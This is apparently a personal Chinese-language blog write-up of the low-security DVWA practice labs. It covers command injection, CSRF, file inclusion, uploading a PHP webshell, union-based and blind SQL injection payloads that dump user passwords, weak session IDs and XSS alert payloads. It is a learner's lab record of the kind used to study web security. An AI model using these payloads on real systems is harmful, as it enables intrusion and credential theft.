dvwa 初级练习
额额额,老忘记密码。。
有个方法:
本人是phpstudy,然后软件管理--sql——front5.3,登陆本地账户localhost,然后看admin的MD5,然后直接解密就行了.或者phpmyadmin
本来安装的中文的,但是乱码,在目录的地方改了utf-8,GBK,都不行,233333
低级的先干完
1.

没有防御机制,并且使用SQL语句对数据库的user和password进行调用
成功是显示图片
直接对user字节进行万能密钥,对第一个user的调用语句闭合并且屏蔽后面的password
admin’ #
nm,不行,啊啊啊啊啊
赖浏览器。。。
也可以用bp,内容省略,爆破密码password,经典弱口令
2.

stristr函数是string、serach、before_search,字符串在另一个字符串中的第一次出现,返回字符串的剩余部分,如果没有搜多到,就返回FASLE
php_uname(mode)
mode可取a,默认的,a包含序列里的所有的s n r v m 模式
s 返回操作系统名称
n返回主机名
r返回版本名称
v返回版本信息
m返回机器类型
通过判断,带两个语句,成功后就会执行下一个语句,并且最后一个是要注入的语句并执行dos命令
例如:IP地址&&dir

3.
csrf利用未失效的信息接着认证
即直接利用受害者的视角
一因为之前在登录,有登陆凭证,根据url可知道,更改只要给受害者这个链接并且依据cookie向服务器发送伪造请求

直接改就行了
但很**,会看到你改密码的提示
4.

没有过滤,直接上
直接通过连接来获取路径
这样报错也出路径
通过路径可以上穿一句话

远程试试尝试...
上传文件
<?php
phpinfo();
?>
这是在利用本地的文件,进行查看php版本信息

5.

没有任何过滤,直接上传php一句话,就可以获取shell

根据之前的报错信息可知上传路径的前两个名称
然后用菜刀
这个有点问题,一直以为是自己的问题。。。
emmm
要想连接成功,必须把php版本降低,例如5.3.29nts
然后注意目录路径
默认的路径是phpstudy_pro\WWW,只需要在www后面的地址添加到菜刀的路径..
然后根据地址添加

7.sql注入
第一种方法
先确定列,再联合查询,输入1正常,然后加’来看是否报错,必须报错,都说了sql注入
check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1
然后传参发现url是get请求,并且存在sql注入,在报错的同时构造payload
然后后期过滤
先从字段数1,2开始
1' union select 1,2#
#把后面的‘’‘的注释掉
再加一,报错
注入点最多两个不同的字段
关于Illegal mix of collations for operation 'UNION'
在phpmyadmin的dvwa的sql下执行两个语句就好了,一些转换问题
alter table users modify first_name varchar(15) character set utf8 collate utf8_general_ci;
alter table users modify last_name varchar(15) character set utf8 collate utf8_general_ci;
1' union select database(),user()#
如果不出来,是因为后面的select语句会限制输出的行数,一般来说,都会让原数据库查询无效,也就是输入无效的id,使得原数据库查询不反回结果,可以在1前面加负号
//爆出数据库、用户名
根据sql语句,由数据库名,获取表
利用information_schema数据库获取当前数据库中存在的表
1' union select table_name,2 from information_schema.tables where table_schema='dvwa'#
version() 获取当前数据库版本,@@version_compile_os获取当前操作系统。

得到表admin、guestbook、users
然后通过table_name、table_schema来构造column查询
-1' union select column_name,2 from information_schema.columns where table_schema='dvwa' and table_name='users'#

然后选择user和password再次构造
-1’union select password,user fromdvwa.users#
或者是
-1' union select user,password from users#
都可以
方法二
通过报错可知id是被“”包含住的,就再对1加一个单引号1‘’
在sql中--是注释所以也可以在1后面加--然后再加空格,这好像是规定。。。在url当中,可以使用“+”来代替“--”后面的空格
然后order by看列数
到第三行就报错,就没有第三行

然后其他的一杨
8.瞎胡注
1.判断是否存在注入,注入的类型
2.猜解当前数据库名称
3.猜解数据库中的表名
4.猜解表中的字段名
5.获取表中的字段值
6.验证字段值的有效性
7.获取数据库的其他信息:版本、用户...
看代码,只有两个回显结果。并且无论输入什么,只有两种结果
猜长度
1' and length(database())>5#
不对
1' and length(database())>3#
对
1' and length(database())=4#
正好
然后猜第一个字母
substr()函数从给定的字符串中,从指定位置开始截取指定长度的字符串,分离出数据库名称的每个位置的元素,并分别将其转换为ASCII码,与对应的ASCII码值比较大小,找到比值相同时的字符
用法:
substr(string string,num start,num length);
string为字符串;
start为起始位置;
length为长度。
1' and ascii(substr(database(),1,1))<100#
报错
1' and ascii(substr(database(),1,1))<101#
正常
看100的ascii为d

常规可能用到的字符的ASCII码取值范围:[48,122]
然后依次把substr的num start的数字变化(2、3、4)后面的1不变,然后猜
获得数据库dvwa。。这个太搞人心态
传个参考布尔链接:
https://www.jianshu.com/p/757626cec742
https://blog.csdn.net/hclimg/article/details/96991855
9.弱会话
session id为特定用户访问站点所需要的唯一内容,如果能够计算或轻易猜到该sessionID,则攻击者将可以轻易获取访问权限,无需录直接进入特定用户界面,进而进行其他操作
SessionID一旦在生命周期内被窃取,就等同于账户失窃
SessionID是用户登录之后才持有的唯一认证凭证,因此黑客不需要再攻击登陆过程(比如密码),就可以轻易获取访问权
限,无需登录密码直接进入特定用户界面, 进而查找其他漏洞如XSS、文件上传等等
Session劫持 : 就是一种通过窃取用户SessionID,使用该SessionID登录进目标账户的攻击方法,此时攻击者实际上是使用
了目标账户的有效Session。如果SessionID是保存在Cookie中的,则这种攻击可以称为Cookie劫持
参考链接:https://blog.csdn.net/weixin_40950781/article/details/99933784
点了啥也不显示,bp抓包
然后利用hacker伪造

10.基于DOM的跨站点脚本(XSS)
以前看过类似的文章,就先改url的english
这种攻击也属于反射型XSS。它利用了Web页面的文档对象模型(Document ObjectModel,DOM)的特性来执行脚本。因此DOM型XSS不经过服务器端,只发生在客户端。
源代码直接过。。
<script>alert('chenyouxiu')</script>

11.反射跨站点脚本(XSS)
看代码,知道了没有过滤,只要不为空就行,尝试插入

12.存储式xss
可以将用户有用的信息存储起来,无需诱导,只要访问网站,就会触发。更隐蔽。
trim
函数移除字符串两侧的空白字符或其他预定义字符,预定义字符包括、\t、\n、\x0B、\r以及空格,可选参数charlist支持添加额外需要删除的字符。
is_object
检测变量是否是一个对象
mysqli_real_escape_string()
转义在 SQL 语句中使用的字符串中的特殊字符
太多了,看不完,应该没过滤
直接name上,但需要控制台改长度,那就内容里把
<script>alert(‘chenyouxiu’)</script>

name的改方法dddd
13.cps
浏览器的安全策略,服务器的http头中有Content-Security-Policy 标签
script-src,脚本:只信任当前域名
没成功,可能没挂外网,代码里的也不行,离谱。。。
14.JavaScript Attacks
输入successs没成功。。
看代码
发现value加密
md5(rot13(phrase))
从内向外解密
思路错了。。
直接在控制台

然后替换value得值

再输入success

总结
做了好几天,边看资料边学的,自己对许多知识点都不掌握,继续努力,还得练习sql注入方面的,过一段时间提升自己再做中等的

浙公网安备 33010602011771号